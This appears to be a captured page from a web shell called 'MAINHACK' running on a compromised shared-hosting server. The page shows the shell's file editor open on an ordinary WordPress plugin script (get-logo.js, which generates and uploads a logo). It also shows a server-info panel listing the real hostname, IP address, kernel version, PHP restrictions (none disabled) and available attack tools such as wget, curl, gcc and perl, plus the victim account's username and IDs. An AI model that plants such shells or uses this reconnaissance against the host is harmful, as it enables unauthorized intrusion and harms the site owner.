[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: get-logo.js
import { getLogoShape } from '@auto-launch/fetchers/shape'; import { failWithFallback, fetchWithTimeout, retryTwice, setStatus, } from '@auto-launch/functions/helpers'; import { updateOption } from '@auto-launch/functions/wp'; import { AI_HOST } from '@constants'; import { digest } from '@shared/api/digest'; import { reqDataBasics } from '@shared/lib/data'; import { __ } from '@wordpress/i18n'; import { uploadMedia } from '@wordpress/media-utils'; const { showAILogo } = window.extSharedData; const fallback = { logoUrl: 'https://images.extendify-cdn.com/demo-content/logos/ext-custom-logo-default.webp', }; const url = `${AI_HOST}/api/site-profile/generate-logo`; const method = 'POST'; const headers = { 'Content-Type': 'application/json' }; export const handleSiteLogo = async ({ siteProfile }) => { if (!showAILogo) return fallback; // translators: this is for a action log UI. Keep it short setStatus(__('Generating a logo', 'extendify-local')); const { logoObjectName: objectName } = siteProfile; const body = JSON.stringify({ ...reqDataBasics, objectName }); const response = await retryTwice(() => fetchWithTimeout(url, { method, headers, body }), ).catch((error) => { return { ok: false, statusText: error.message, status: 0 }; }); if (!response?.ok) { digest({ error: { message: response.statusText, name: 'FetchError', status: response.status, }, details: { source: 'auto-launch', caller: 'handleSiteLogo', objectName }, }); return fallback; } const logoUrl = await failWithFallback( async () => { const { logoUrl } = getLogoShape.parse(await response.json()); return logoUrl; }, fallback.logoUrl, { caller: 'handleSiteLogo' }, ); // If this errors we just move on. await uploadLogo(logoUrl); return getLogoShape.parse({ logoUrl }); }; export const uploadLogo = async (url) => { const blob = await (await fetch(url)).blob(); const type = blob.type; const fileExtension = type.replace('image/', ''); const logoName = `ext-custom-logo-${Date.now()}`; const image = new File([blob], `${logoName}.${fileExtension}`, { type }); await uploadMedia({ filesList: [image], onFileChange: async ([fileObj]) => { if (!fileObj?.id) return; await updateOption('site_logo', fileObj.id); }, onError: (err) => { console.error('Error uploading logo:', err); digest({ error: err, details: { source: 'auto-launch', caller: 'uploadLogo' }, }); }, }); };
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: premium56.web-hosting.com
Server IP: 198.54.119.70
PHP Version: 8.2.30
Server Software: LiteSpeed
System: Linux premium56.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
HDD Total: 97.87 GB
HDD Free: 70.74 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
No
git:
Yes
User Info
Username: bkunreyz
User ID (UID): 830
Group ID (GID): 826
Script Owner UID: 830
Current Dir Owner: 830